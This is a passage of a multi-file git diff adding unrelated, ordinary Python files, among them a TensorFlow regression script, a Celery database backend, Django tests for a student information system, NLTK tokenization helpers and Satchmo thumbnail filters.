+    def dumps_test(self, obj, parent):
+        text_node = parent.ownerDocument.createTextNode(obj)
+        parent.appendChild(text_node)
+
+    def loads_test(self, node):
+        return node.childNodes[0].nodeValue.strip()
+
+    def loads_default(self, node):
+        default = {}
+        for child in (c for c in node.childNodes if c.nodeType != Node.TEXT_NODE):
+            if child.hasAttribute("name"):
+                name = child.getAttribute("name")
+            else:
+                name = child.localName
+            default[str(name)] = self._manager.call_loads(child)
+        return default
+
+
+class ReportManagerTest(unittest.TestCase):
+
+    name = "test"
+
+    def create_element(self, name):
+        document = Document()
+        element = document.createElement(name)
+        document.appendChild(element)
+        return element
+
+    def create_text_node(self, name, text):
+        element = self.create_element(name)
+        text_node = element.createTextNode(text)
+        element.appendChild(text_node)
+        return text_node
+
+    def test_constructor(self):
+        rm = ReportManager(self.name)
+        self.assertTrue(rm.name == self.name)
+
+    def test_handle_dumps(self):
+        rm = ReportManager(self.name)
+
+        str_func = lambda obj, parent: "str"
+        rm.handle_dumps(str, str_func)
+        self.assertTrue(rm.call_dumps("test1", None) == "str")
+
+        int_func = lambda obj, parent: "int"
+        rm.handle_dumps(int, int_func)
+        self.assertTrue(rm.call_dumps(1, None) == "int")
+        self.assertTrue(rm.call_dumps("test2", None) == "str")
+
+    def test_handle_loads(self):
+        rm = ReportManager(self.name)
+
+        bar_func = lambda node: "bar"
+        foo_element = self.create_element("foo")
+        rm.handle_loads("foo", bar_func)
+        self.assertTrue(rm.call_loads(foo_element) == "bar")
+
+        baz_func = lambda node: "baz"
+        bar_element = self.create_element("bar")
+        rm.handle_loads("bar", baz_func)
+        self.assertTrue(rm.call_loads(bar_element) == "baz")
+        self.assertTrue(rm.call_loads(foo_element) == "bar")
+
+    def test_handle_dumps_and_loads(self):
+        rm = ReportManager(self.name)
+        rm.add(StubReport())
+
+        document = rm.dumps("test1")
+        str = document.toprettyxml("")
+        self.assertTrue("test1" in str)
+
+        data = rm.loads(str)
+        self.assertTrue("test" in data)
+        self.assertTrue(data["test"] == "test1")
diff --git a/pool/shard000/Python/0008951_6_multivariable_matform_simple.py b/pool/shard000/Python/0008951_6_multivariable_matform_simple.py
new file mode 100644
index 0000000000000000000000000000000000000000..8bb34e039c5ae91f666c4542e20fe2564e885937
--- /dev/null
+++ b/pool/shard000/Python/0008951_6_multivariable_matform_simple.py
@@ -0,0 +1,38 @@
+import tensorflow as tf
+import numpy as np
+
+# tf Graph input
+# x_data = [[1,1,1,1,1],
+#           [0., 2., 0., 4., 0.],
+#           [1., 0., 3., 0., 5.]]
+# y_data = [1, 2, 3, 4, 5]
+xy = np.loadtxt('train.txt', unpack=True, dtype='float32')
+x_data = xy[0:-1]
+y_data = xy[-1]
+print(x_data)
+print(y_data)
+W = tf.Variable(tf.random_uniform([1,3], -1.0, 1.0))
+
+# hypothesis
+hypothesis = tf.matmul(W, x_data)
+
+# cost function
+cost = tf.reduce_mean(tf.square(hypothesis-y_data))
+
+# Minimize
+a = tf.Variable(0.1) # learning rate
+optimizer = tf.train.GradientDescentOptimizer(a)
+train = optimizer.minimize(cost)
+
+# initialize variables
+init = tf.initialize_all_variables()
+
+# Launch the graph
+sess = tf.Session()
+sess.run(init)
+
+# Fit the line
+for step in xrange(2001):
+    sess.run(train)
+    if step % 20 == 0:
+        print step, sess.run(cost), sess.run(W)
diff --git a/pool/shard000/Python/0008952_app.py b/pool/shard000/Python/0008952_app.py
new file mode 100644
index 0000000000000000000000000000000000000000..711a7471b29f9c0571cde1e3fdea748f57b723b3
--- /dev/null
+++ b/pool/shard000/Python/0008952_app.py
@@ -0,0 +1,17 @@
+import web
+        
+urls = (
+    '/(.*)', 'hello'
+)
+app = web.application(urls, globals())
+
+class hello:        
+    def GET(self, name):
+        if not name: 
+            name = 'World'
+        return 'Hello, ' + name + '!'
+
+if __name__ == "__main__":
+    app.run()
+
+wsgiapp = app.wsgifunc()
diff --git a/pool/shard000/Python/0008958_database.py b/pool/shard000/Python/0008958_database.py
new file mode 100644
index 0000000000000000000000000000000000000000..4be5235e948e6e88909d113c6c2bedd92f041a24
--- /dev/null
+++ b/pool/shard000/Python/0008958_database.py
@@ -0,0 +1,95 @@
+from datetime import datetime
+
+
+from celery import conf
+from celery.backends.base import BaseDictBackend
+from celery.db.models import Task, TaskSet
+from celery.db.session import ResultSession
+from celery.exceptions import ImproperlyConfigured
+
+
+class DatabaseBackend(BaseDictBackend):
+    """The database result backend."""
+
+    def __init__(self, dburi=None, result_expires=None,
+            engine_options=None, **kwargs):
+        self.result_expires = result_expires or conf.TASK_RESULT_EXPIRES
+        self.dburi = dburi or conf.RESULT_DBURI
+        self.engine_options = dict(engine_options or {},
+                                   **conf.RESULT_ENGINE_OPTIONS or {})
+        if not self.dburi:
+            raise ImproperlyConfigured(
+                    "Missing connection string! Do you have "
+                    "CELERY_RESULT_DBURI set to a real value?")
+
+        super(DatabaseBackend, self).__init__(**kwargs)
+
+    def ResultSession(self):
+        return ResultSession(dburi=self.dburi, **self.engine_options)
+
+    def _store_result(self, task_id, result, status, traceback=None):
+        """Store return value and status of an executed task."""
+        session = self.ResultSession()
+        try:
+            task = session.query(Task).filter(Task.task_id == task_id).first()
+            if not task:
+                task = Task(task_id)
+                session.add(task)
+                session.flush()
+            task.result = result
+            task.status = status
+            task.traceback = traceback
+            session.commit()
+        finally:
+            session.close()
+        return result
+
+    def _get_task_meta_for(self, task_id):
+        """Get task metadata for a task by id."""
+        session = self.ResultSession()
+        try:
+            task = session.query(Task).filter(Task.task_id == task_id).first()
+            if not task:
+                task = Task(task_id)
+                session.add(task)
+                session.flush()
+                session.commit()
+            return task.to_dict()
+        finally:
+            session.close()
+
+    def _save_taskset(self, taskset_id, result):
+        """Store the result of an executed taskset."""
+        session = self.ResultSession()
+        try:
+            taskset = TaskSet(taskset_id, result)
+            session.add(taskset)
+            session.flush()
+            session.commit()
+            return result
+        finally:
+            session.close()
+
+    def _restore_taskset(self, taskset_id):
+        """Get taskset metadata for a taskset by id."""
+        session = self.ResultSession()
+        try:
+            taskset = session.query(TaskSet).filter(
+                    TaskSet.taskset_id == taskset_id).first()
+            if taskset:
+                return taskset.to_dict()
+        finally:
+            session.close()
+
+    def cleanup(self):
+        """Delete expired metadata."""
+        session = self.ResultSession()
+        expires = self.result_expires
+        try:
+            session.query(Task).filter(
+                    Task.date_done < (datetime.now() - expires)).delete()
+            session.query(TaskSet).filter(
+                    TaskSet.date_done < (datetime.now() - expires)).delete()
+            session.commit()
+        finally:
+            session.close()
diff --git a/pool/shard000/Python/0008969_locatord.py b/pool/shard000/Python/0008969_locatord.py
new file mode 100644
index 0000000000000000000000000000000000000000..9007efd535eec1035d7d02a3d3dc601ff7000b87
--- /dev/null
+++ b/pool/shard000/Python/0008969_locatord.py
@@ -0,0 +1,142 @@
+#!/usr/bin/env python2
+'''
+Runs a daemon that runs locators on buoys.
+
+Use shm.locator#_settings to enable the locators and to
+set which colors, etc. they're looking for
+'''
+
+import locator
+import shm
+import pickle
+import argparse
+
+parser = argparse.ArgumentParser(description="locator test script")
+parser.add_argument('-g', '--gui',
+                    dest="gui",
+                    action="store_const",
+                    default=False,
+                    const=True,
+                    help="whether to display debug output")
+args = parser.parse_args()
+
+kill = False
+
+
+# Begin with uninitialized  locators
+# We'll initialize these when they're enabled
+locator1 = None
+locator2 = None
+
+watcher = shm.watchers.watcher()
+watcher.watch(shm.kalman)
+watcher.watch(shm.locator1_settings)
+watcher.watch(shm.locator2_settings)
+
+#Handle interrupts so that this daemon can die peacefully
+import signal
+def signal_handler(signal, frame):
+    global kill
+    print "INTERRUPT"
+    watcher.broadcast()
+    kill = True
+
+signal.signal(signal.SIGINT, signal_handler)
+signal.signal(signal.SIGTERM, signal_handler)
+
+def get_layout():
+    try:
+        state = pickle.loads(shm.layout.state.get())
+    except:
+        print "Invalid mission layout state! Cannot initialize buoy positions."
+        print "You might need to start running a mission log."
+        raise
+
+    #Gather buoy positions
+    n_off = state[0]
+    e_off = state[1]
+    positions = state[2]
+
+    out = [(positions[2*i,0]-n_off, positions[2*i+1,0]-e_off) for i in range(2,5)]
+    return out
+
+   
+def start_locator1():
+    try:
+        orange,yellow,green = get_layout()
+    except:
+        print "Disabling locator 1 - need layout"
+        shm.locator1_settings.enabled.set(0)
+        return None
+    else:
+        return locator.LocatorRunner(
+                                shm.locator1_settings.color.get(),
+                                orange_pos=orange,
+                                #green_pos=green,
+                                #yellow_pos=yellow,
+                                led_pos=green, #TODO: make this its own thing?
+                                prior_sigma=1.0,
+                                display=args.gui,
+                                locator_var=shm.locator1,
+                                settings_var=shm.locator1_settings)
+
+def start_locator2():
+    try:
+        orange,yellow,green = get_layout()
+    except:
+        print "Disabling locator 2 - need layout"
+        shm.locator2_settings.enabled.set(0)
+        return None
+    else:
+        return locator.LocatorRunner(
+                                shm.locator2_settings.color.get(),
+                                orange_pos=orange,
+                                #green_pos=green,
+                                #yellow_pos=yellow,
+                                led_pos=green, #TODO: make this its own thing?
+                                prior_sigma=1.0,
+                                display=args.gui,
+                                locator_var=shm.locator2,
+                                settings_var=shm.locator2_settings)
+
+def gogogo():
+    global locator1, locator2
+    while not kill:
+        if shm.locator1_settings.reset.get():
+            print "(Re)starting Locator 1"
+            shm.locator1_settings.reset.set(0)
+            locator1 = start_locator1()
+
+        elif locator1:
+            if shm.locator1_settings.enabled.get():
+                locator1.update()
+            else:
+                print "Stopping Locator 1"
+                locator1 = None
+        elif shm.locator1_settings.enabled.get() and shm.locator1_settings.color.get():
+            print "Starting Locator 1"
+            locator1 = start_locator1()
+
+        if shm.locator2_settings.reset.get():
+            print "(Re)starting locator 2"
+            shm.locator2_settings.reset.set(0)
+            locator2 = start_locator2()
+        elif locator2:
+            if shm.locator2_settings.enabled.get():
+                locator2.update()
+            else:
+                print "Stopping locator 2"
+                locator2 = None
+        elif shm.locator2_settings.enabled.get() and shm.locator2_settings.color.get():
+            print "Starting Locator 2"
+            locator2  = start_locator2()
+
+        watcher.wait()
+
+import threading
+t1 = threading.Thread(target=gogogo)
+t1.start()
+
+from time import sleep
+while not kill:
+    sleep(0.05)
diff --git a/pool/shard000/Python/0008970_conform_ftrack_preview.py b/pool/shard000/Python/0008970_conform_ftrack_preview.py
new file mode 100644
index 0000000000000000000000000000000000000000..7c01f0d82b5e38909140f892603522a056e3ab64
--- /dev/null
+++ b/pool/shard000/Python/0008970_conform_ftrack_preview.py
@@ -0,0 +1,87 @@
+import shutil
+import os
+import ftrack
+import pyblish.api
+from ft_studio import ft_pathUtils
+
+
+@pyblish.api.log
+class ConformFlipbook(pyblish.api.Conformer):
+    """Copies Preview movie to it's final location
+
+     Expected data members:
+    'ftrackData' - Necessary ftrack information gathered by select_ftrack
+    'outputPath' - Output path of current instance
+    'version' - version of publish
+    """
+
+    families = ['preview']
+    version = (0, 1, 0)
+    label = 'Conform Preview'
+
+    def process(self, instance, context):
+
+        if instance.has_data('outputPath'):
+            sourcePath = os.path.normpath(instance.data('outputPath'))
+
+            version = context.data('version')
+            version = 'v' + str(version).zfill(3)
+
+            taskid = context.data('ftrackData')['Task']['id']
+            task = ftrack.Task(taskid)
+            parents = task.getParents()
+
+            # Prepare data for parent filtering
+            parenttypes = []
+            for parent in parents:
+                try:
+                    parenttypes.append(parent.get('objecttypename'))
+                except:
+                    pass
+
+            # choose correct template
+            if 'Episode' in parenttypes:
+                templates = [
+                    'tv-ep-preview-file',
+                ]
+            elif 'Sequence' in parenttypes:
+                templates = [
+                    'tv-sq-preview-file',
+                ]
+
+            publishFile = ft_pathUtils.getPaths(task, templates, version)
+            publishFile = os.path.normpath(publishFile[templates[0]])
+
+            projectName = task.getProject().getName()
+            if projectName not in ['rad', 'drm']:
+                if 'Asset Build' not in parenttypes:
+                    templates = [
+                        'shot.publish.file'
+                    ]
+                else:
+                    templates = [
+                        'asset.publish.file'
+                    ]
+
+                self.log.debug(templates)
+                publishFile = ft_pathUtils.getPathsYaml(task,
+                                                        templateList=templates,
+                                                        version=version)
+
+
+                path, extension = os.path.splitext(publishFile[0])
+                publishFile = path + ".mov"
+
+
+            self.log.info('Moving preview from location: {}'.format(sourcePath))
+            self.log.info('Moving preview to location: {}'.format(publishFile))
+            shutil.move(sourcePath, publishFile)
+
+            # ftrack data
+            components = instance.data('ftrackComponents')
+            components['preview']['path'] = publishFile
+
+            instance.set_data('ftrackComponents', value=components)
+
+        else:
+            self.log.warning('preview wasn\'t created so it can\'t be published')
diff --git a/pool/shard000/Python/0008973_test_summary_responsible.py b/pool/shard000/Python/0008973_test_summary_responsible.py
new file mode 100644
index 0000000000000000000000000000000000000000..826508eacbb51d939bd2d333ba6b5eb4aca4cf36
--- /dev/null
+++ b/pool/shard000/Python/0008973_test_summary_responsible.py
@@ -0,0 +1,218 @@
+##############################################################################
+#
+#    OSIS stands for Open Student Information System. It's an application
+#    designed to manage the core business of higher education institutions,
+#    such as universities, faculties, institutes and professional schools.
+#    The core business involves the administration of students, teachers,
+#    courses, programs and so on.
+#
+#    Copyright (C) 2015-2018 Université catholique de Louvain (http://www.uclouvain.be)
+#
+#    This program is free software: you can redistribute it and/or modify
+#    it under the terms of the GNU General Public License as published by
+#    the Free Software Foundation, either version 3 of the License, or
+#    (at your option) any later version.
+#
+#    This program is distributed in the hope that it will be useful,
+#    but WITHOUT ANY WARRANTY; without even the implied warranty of
+#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+#    GNU General Public License for more details.
+#
+#    A copy of this license - GNU General Public License - is available
+#    at the root of the source code of this program.  If not,
+#    see http://www.gnu.org/licenses/.
+#
+##############################################################################
+from django.contrib.auth.models import Permission, Group
+from django.contrib.contenttypes.models import ContentType
+from django.core.urlresolvers import reverse
+from django.http import HttpResponseRedirect
+from django.test import TestCase
+
+from attribution.models import attribution
+from attribution.tests.models import test_attribution
+from base.models.entity_manager import EntityManager
+from base.tests.factories import structure
+from base.tests.factories.academic_year import AcademicYearFactory, create_current_academic_year
+from base.tests.factories.business.entities import create_entities_hierarchy
+from base.tests.factories.business.learning_units import create_learning_unit_with_context
+from base.tests.factories.entity_manager import EntityManagerFactory
+from base.tests.factories.person import PersonFactory
+from base.tests.factories.tutor import TutorFactory
+
+HTTP_RESPONSE_OK = 200
+
+
+class SummaryResponsibleViewTestCase(TestCase):
+    def setUp(self):
+        group, created = Group.objects.get_or_create(name='entity_managers')
+        content_type = ContentType.objects.get_for_model(EntityManager)
+        perm, created = Permission.objects.get_or_create(codename='is_entity_manager', content_type=content_type)
+        group.permissions.add(perm)
+        self.person = PersonFactory()
+        self.user = self.person.user
+        self.tutor = TutorFactory(person=self.person)
+        self.current_academic_year = create_current_academic_year()
+        self.next_academic_year = AcademicYearFactory(
+            year=self.current_academic_year.year + 1
+        )
+
+        # Old structure model [To remove]
+        self.structure = structure.StructureFactory()
+        self.structure_children = structure.StructureFactory(part_of=self.structure)
+
+        # New structure model
+        entities_hierarchy = create_entities_hierarchy()
+        self.root_entity = entities_hierarchy.get('root_entity')
+        self.child_one_entity = entities_hierarchy.get('child_one_entity')
+        self.child_two_entity = entities_hierarchy.get('child_two_entity')
+
+        self.entity_manager = EntityManagerFactory(
+            person=self.person,
+            structure=self.structure,
+            entity=self.root_entity)
+
+        # Create two learning_unit_year with context (Container + EntityContainerYear)
+        self.learning_unit_year = create_learning_unit_with_context(
+            academic_year=self.next_academic_year,
+            structure=self.structure,
+            entity=self.child_one_entity,
+            acronym="LBIR1210"
+        )
+        self.learning_unit_year_children = create_learning_unit_with_context(
+            academic_year=self.next_academic_year,
+            structure=self.structure_children,
+            entity=self.child_two_entity,
+            acronym="LBIR1211"
+        )
+
+        self.attribution = test_attribution.create_attribution(
+            tutor=self.tutor,
+            learning_unit_year=self.learning_unit_year,
+            summary_responsible=True)
+        self.attribution_children = test_attribution.create_attribution(
+            tutor=self.tutor,
+            learning_unit_year=self.learning_unit_year_children,
+            summary_responsible=True)
+
+    def test_summary_responsible_search_user_not_logged(self):
+        url = reverse("summary_responsible")
+        self.client.logout()
+        response = self.client.get(url)
+        self.assertRedirects(response, '/login/?next={}'.format(url))
+
+    def test_summary_responsible_search_test_user_is_not_entity_manager(self):
+        url = reverse("summary_responsible")
+        entity_managers = EntityManager.objects.filter(person__user=self.user)
+        entity_managers.delete()
+
+        response = self.client.get(url, follow=True)
+        self.assertRedirects(response, '/login/?next={}'.format(url))
+
+    def test_summary_responsible_search_with_two_criteria(self):
+        url = reverse("summary_responsible")
+        self.client.force_login(self.user)
+        data = {
+            'course_code': 'LBIR121',
+            'learning_unit_title': '',
+            'tutor': self.person.last_name,
+            'summary_responsible': ''
+        }
+        response = self.client.get(url, data=data)
+        self.assertEqual(response.status_code, HTTP_RESPONSE_OK)
+        self.assertCountEqual(response.context[-1]['dict_attribution'],
+                              [self.attribution, self.attribution_children])
+        self.assertTemplateUsed(response, "summary_responsible.html")
+
+    def test_summary_responsible_search_without_criteria(self):
+        url = reverse("summary_responsible")
+        self.client.force_login(self.user)
+        data = {
+            'course_code': '',
+            'learning_unit_title': '',
+            'tutor': '',
+            'summary_responsible': ''
+        }
+        response = self.client.get(url, data=data)
+        self.assertEqual(response.status_code, HTTP_RESPONSE_OK)
+        self.assertCountEqual(response.context[-1]['dict_attribution'],
+                              [self.attribution, self.attribution_children])
+        self.assertTemplateUsed(response, "summary_responsible.html")
+
+    def test_summary_responsible_edit_search_user_not_logged(self):
+        url = reverse("summary_responsible_edit")
+        self.client.logout()
+        response = self.client.get(url)
+        self.assertRedirects(response, '/login/?next={}'.format(url))
+
+    def test_summary_responsible_edit_search_test_user_is_not_entity_manager(self):
+        url = reverse("summary_responsible_edit")
+        entity_managers = EntityManager.objects.filter(person__user=self.user)
+        entity_managers.delete()
+
+        response = self.client.get(url, follow=True)
+        self.assertRedirects(response, '/login/?next={}'.format(url))
+
+    def test_summary_responsible_edit(self):
+        url = reverse('summary_responsible_edit')
+        self.client.force_login(self.user)
+        data = {
+            'course_code': 'LBIR1210',
+            'learning_unit_title': '',
+            'tutor': '',
+            'summary_responsible': '',
+            'learning_unit_year': 'learning_unit_year_{}'.format(self.learning_unit_year.id)
+        }
+        response = self.client.get(url, data=data)
+        self.assertEqual(response.status_code, HTTP_RESPONSE_OK)
+        attributions = response.context[-1].get('attributions')
+        self.assertCountEqual(list(attributions), [self.attribution])
+        self.assertTrue(attributions.get().summary_responsible)
+        self.assertTemplateUsed(response, "summary_responsible_edit.html")
+
+    def test_summary_responsible_update_search_user_not_logged(self):
+        url = reverse('summary_responsible_update', args=[self.learning_unit_year.id])
+        self.client.logout()
+        response = self.client.post(url)
+        self.assertRedirects(response, '/login/?next={}'.format(url))
+
+    def test_summary_responsible_update_search_test_user_is_not_entity_manager(self):
+        url = reverse('summary_responsible_update', args=[self.learning_unit_year.id])
+        entity_managers = EntityManager.objects.filter(person__user=self.user)
+        entity_managers.delete()
+
+        response = self.client.post(url, follow=True)
+        self.assertRedirects(response, '/login/?next={}'.format(url))
+
+    def test_summary_responsible_update_http_get(self):
+        url = reverse('summary_responsible_update', args=[self.learning_unit_year.id])
+        response = self.client.get(url)
+        self.assertRedirects(response, '/login/?next={}'.format(url))
+
+    def test_summary_responsible_update_http_post_without_update(self):
+        self.client.force_login(self.user)
+        url = reverse('summary_responsible_update', args=[self.learning_unit_year.id])
+        response = self.client.post(url)
+        redirect_url = reverse('summary_responsible')
+
+        self.assertRedirects(
+            response,
+            '{}?course_code=&learning_unit_title=&tutor=&summary_responsible='.format(redirect_url)
+        )
+
+
+    def test_summary_responsible_update(self):
+        self.client.force_login(self.user)
+
+        attribution.Attribution.objects.update(summary_responsible=False)
+        self.attribution.refresh_from_db()
+        self.assertFalse(self.attribution.summary_responsible)
+
+        url = reverse('summary_responsible_update', args=[self.learning_unit_year.id])
+        attribution_str = 'attribution_{}'.format(self.attribution.id)
+        response = self.client.post(url, {"action": "update",
+                                          "attribution": attribution_str})
+
+        self.assertEqual(response.status_code, HttpResponseRedirect.status_code)
+        self.attribution.refresh_from_db()
+        self.assertTrue(self.attribution.summary_responsible)
diff --git a/pool/shard000/Python/0008976_processor_sample.py b/pool/shard000/Python/0008976_processor_sample.py
new file mode 100644
index 0000000000000000000000000000000000000000..58712b088fbb5e8fdb8ca563a8997c03a403a10d
--- /dev/null
+++ b/pool/shard000/Python/0008976_processor_sample.py
@@ -0,0 +1,50 @@
+import sys
+import os
+import os.path
+import time
+import logging.handlers
+sys.path.append(os.path.abspath('..'))
+
+
+from processor import *
+import filename
+import image_optimizer
+import link_updater
+import unique_filename
+import yui_compressor
+
+
+if __name__ == "__main__":
+    # Set up a logger.
+    logger = logging.getLogger("test")
+    logger.setLevel(logging.DEBUG)
+    handler = logging.handlers.RotatingFileHandler("processor.log")
+    logger.addHandler(handler)
+
+    def callback(input_file, output_file):
+        print """"CALLBACK FIRED:
+                   input_file='%s'
+                   output_file='%s'""" % (input_file, output_file)
+
+    def error_callback(input_file):
+       print """"ERROR_CALLBACK FIRED:
+                  input_file='%s'""" % (input_file)
+
+    # Use a ProcessorChainFactory.
+    document_root = "/htdocs/example.com/subsite"
+    base_path = "/subsite/"
+    processors = [
+        "image_optimizer.KeepFilename",
+        "unique_filename.Mtime",
+        "link_updater.CSSURLUpdater",
+        "yui_compressor.YUICompressor"
+    ]
+    factory = ProcessorChainFactory("test")
+    chain = factory.make_chain_for("test.jpg", processors, document_root, base_path, callback, error_callback)
+    chain.run()
+    chain = factory.make_chain_for("test.png", processors, document_root, base_path, callback, error_callback)
+    chain.run()
+    chain = factory.make_chain_for("test.css", processors, document_root, base_path, callback, error_callback)
+    chain.run()
+    chain = factory.make_chain_for("test.js", processors, document_root, base_path, callback, error_callback)
+    chain.run()
diff --git a/pool/shard000/Python/0008977_text.py b/pool/shard000/Python/0008977_text.py
new file mode 100644
index 0000000000000000000000000000000000000000..d5570f2f755a6cce0a5e99672823a21132dcedf9
--- /dev/null
+++ b/pool/shard000/Python/0008977_text.py
@@ -0,0 +1,114 @@
+# -*- coding: utf-8 -*-
+
+import string
+import nltk
+from nltk.tokenize import RegexpTokenizer
+import re
+
+NUMBER_INDICATOR = "num_indic"
+CURRENCY_INDICATOR = "curr_indic"
+CHEMICAL_INDICATOR = "chem_indic"
+MIN_SIZE = 1
+
+MIN_SENT_LENGTH = 50
+MAX_NON_TABLE_ROW_LENGTH = 100
+
+extra_abbrv = [u'u.s', u'fig', u'figs', u'no', u'ser',
+               u'jan', u'feb', u'mar', u'apr', u'may', u'jun', u'jul', u'aug', u'sep', u'oct', u'nov', u'dec',
+               u'proc', u'natl', u'sci', u'al', u'biochem', u'mol', u'res', u'biophys', u'commun', u'acad',
+               u'chem', u'med', u'biol', u'enzymol', u'Am', u'Soc', u'pat', u'nos', u'id', u'seq',
+               u'gen', u'ed', u'publ', u'cell', u'ii', u'iii', u'iv', u'viral', u'dis', u'infect',
+               u'rev', u'supp', u'dev', u'pp', u'genet', u'pp', u'nucl', u'pub', u'etc', u'virol',
+               u'u.s. pat', u'u.s. ser', u'u.s. patent', u'ann', u'microbiol', u'environ', u'U.S',
+               u'curr', u'vol', u'enz', u'struct', u'exp', u'approx', u'int', u'oncol', u'appl',
+               u'math', u'adv', u'u.s.c', u'et', u'app', u'biosci', u'molec']
+extra_abbrv.extend([str(i) for i in range(1, 40)])
+extra_abbrv.extend(list('abcdefghijklmnopqrstuvwxyz'))
+
+sentence_tokenizer = nltk.data.load('tokenizers/punkt/english.pickle')
+sentence_tokenizer._params.abbrev_types.update(extra_abbrv)
+
+abbrev_types_set = set(sentence_tokenizer._params.abbrev_types)
+
+punctuation_to_strip = u'"#%&\'();:*+-/<=>@[\\]^_`{|}~'
+punctuation_to_strip += u'\u2018\u2019\u201c\u201d' # additional punctuation not in string.punctuation
+# \u2018 => ‘ \u2019 => ’ \u201c => “ \u201d => ”
+def sentence_wordtokenizer(text):
+    """
+    Improved function for tokenization, stripping only specific punctuation and preserving the punctuation
+    . , : ; ? ! as separate tokens
+    """
+    tokenizer = RegexpTokenizer(r'\s+', gaps=True)
+    tokens = tokenizer.tokenize(text)
+    stems = []  # result
+    for token in tokens:
+        stem = token.lower()
+        stem = stem.strip(punctuation_to_strip)
+        if stem:
+            if is_number(stem):
+                token_stems = [NUMBER_INDICATOR]
+            elif is_currency(stem):
+                token_stems = [CURRENCY_INDICATOR]
+            elif is_chemical_new(stem):
+                token_stems = [CHEMICAL_INDICATOR]
+            else:
+                token_stems = list(re.findall(r"^([.,!?;:]*)(.+?)([.,!?;:]?)$", stem)[0])
+                token_stems = [t.strip(punctuation_to_strip) for t in token_stems]
+                if len(token_stems):
+                    if token_stems[1] in abbrev_types_set:
+                        token_stems[1] = token_stems[1] + token_stems[2]
+                        token_stems[2] = ""
+
+            for stem in token_stems:
+                if stem and len(stem) >= MIN_SIZE:
+                    # extract uni-grams
+                    stems.append(stem)
+    del tokens
+    return stems
+
+
+def is_number(str):
+    """ Returns true if given string is a number (float or int)"""
+    try:
+        float(str.replace(",", ""))
+        return True
+    except ValueError:
+        return False
+
+def is_currency(str):
+    return str[0] == "$"
+
+def is_chemical(str):
+    return str.count("-") > 3
+
+def is_chemical_new(strg):
+    return (strg.count("-") > 2 and len(strg) >= 25) or len(strg) >= 40
+
+def is_table_row(sent):
+    return len(sent) < MAX_NON_TABLE_ROW_LENGTH and sent.count('.') > 2
+
+def min_sentence_length_enforcer(sentences):
+    # initialize with '' so we dont have to add a condition to be evaluated in the loop
+    new_sentences = ['']
+    for sent in sentences:
+        sent = sent.strip()
+        if len(sent) > 0:
+            if len(sent) < MIN_SENT_LENGTH or is_table_row(sent):
+                new_sentences[-1] += ' ' + sent
+            else:
+                new_sentences.append(sent)
+
+    # handling of special cases where the first sentence is either kept as '' or is something like '1. '
+    if len(new_sentences[0]) == 0:
+        # takes care of the case where there are no sentences other than ''=> new_sentences = [] and
+        # when there are => new_sentences = new_sentences[1:]
+        new_sentences = new_sentences[1:]
+    elif len(new_sentences[0]) < MIN_SENT_LENGTH and len(new_sentences) > 1:
+        new_sentences[1] = new_sentences[0] + ' ' + new_sentences[1]
+        new_sentences = new_sentences[1:]
+    return new_sentences
+
+def get_sentences(text):
+    sents = sentence_tokenizer.tokenize(text)
+    sents = min_sentence_length_enforcer(sents)
+    return sents
diff --git a/pool/shard000/Python/0008978_satchmo_thumbnail.py b/pool/shard000/Python/0008978_satchmo_thumbnail.py
new file mode 100644
index 0000000000000000000000000000000000000000..7e4c9f533d7aaeba1aeff17ab6cbb6fd3c685ba4
--- /dev/null
+++ b/pool/shard000/Python/0008978_satchmo_thumbnail.py
@@ -0,0 +1,104 @@
+""" image related filters """
+
+##################################################
+## DEPENDENCIES ##
+
+from django import template
+from django.conf import settings
+from django.template import TemplateSyntaxError
+from satchmo.thumbnail.utils import make_thumbnail, get_image_size
+register = template.Library()
+##################################################
+## FILTERS ##
+
+def thumbnail(url, args=''):
+    """ Returns thumbnail URL and create it if not already exists.
+
+.. note:: requires PIL_,
+    if PIL_ is not found or thumbnail can not be created returns original URL.
+
+.. _PIL: http://www.pythonware.com/products/pil/
+
+Usage::
+
+    {{ url|thumbnail:"width=10,height=20" }}
+    {{ url|thumbnail:"width=10" }}
+    {{ url|thumbnail:"height=20" }}
+
+Parameters:
+
+width
+    requested image width
+
+height
+    requested image height
+
+Image is **proportionally** resized to dimension which is no greather than ``width x height``.
+
+Thumbnail file is saved in the same location as the original image
+and his name is constructed like this::
+
+    %(dirname)s/%(basename)s_t[_w%(width)d][_h%(height)d].%(extension)s
+
+or if only a width is requested (to be compatibile with admin interface)::
+
+    %(dirname)s/%(basename)s_t%(width)d.%(extension)s
+
+"""
+    
+    kwargs = {}
+    if args:
+        if ',' not in args:
+            # ensure at least one ','
+            args += ','
+        for arg in args.split(','):
+            arg = arg.strip()
+            if arg == '': continue
+            kw, val = arg.split('=', 1)
+            kw = kw.lower().encode('ascii')
+            try:
+                val = int(val) # convert all ints
+            except ValueError:
+                raise template.TemplateSyntaxError, "thumbnail filter: argument %r is invalid integer (%r)" % (kw, val)
+            kwargs[kw] = val
+    
+    if ('width' not in kwargs) and ('height' not in kwargs):
+        raise template.TemplateSyntaxError, "thumbnail filter requires arguments (width and/or height)"
+    
+    ret = make_thumbnail(url, **kwargs)
+    if ret is None:
+        ret = url
+
+    if not ret.startswith(settings.MEDIA_URL):
+        ret = settings.MEDIA_URL + ret
+
+    return ret
+   
+#
+register.filter('thumbnail', thumbnail)
+
+def image_width(url):
+    """ Returns image width.
+
+Usage:
+    {{ url|image_width }}
+"""
+    
+    width, height = get_image_size(url)
+    return width
+#
+
+register.filter('image_width', image_width)
+
+def image_height(url):
+    """ Returns image height.
+
+Usage:
+    {{ url|image_width }}
+"""
+    
+    width, height = get_image_size(url)
+    return height
+#
+
+register.filter('image_height', image_height)
diff --git a/pool/shard000/Python/0008980_http_server_simple_test.py b/pool/shard000/Python/0008980_http_server_simple_test.py
new file mode 100644
index 0000000000000000000000000000000000000000..ea4992c19975f2f816353cc45637411b426d2816
--- /dev/null
+++ b/pool/shard000/Python/0008980_http_server_simple_test.py
@@ -0,0 +1,172 @@
+#!/usr/bin/env python
+#
+# Copyright 2018 Espressif Systems (Shanghai) PTE LTD
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+from __future__ import division, print_function, unicode_literals
+
+import os
+import random
+import re
+import socket
+import string
+import threading
+import time
+from builtins import range
+
+import ttfw_idf
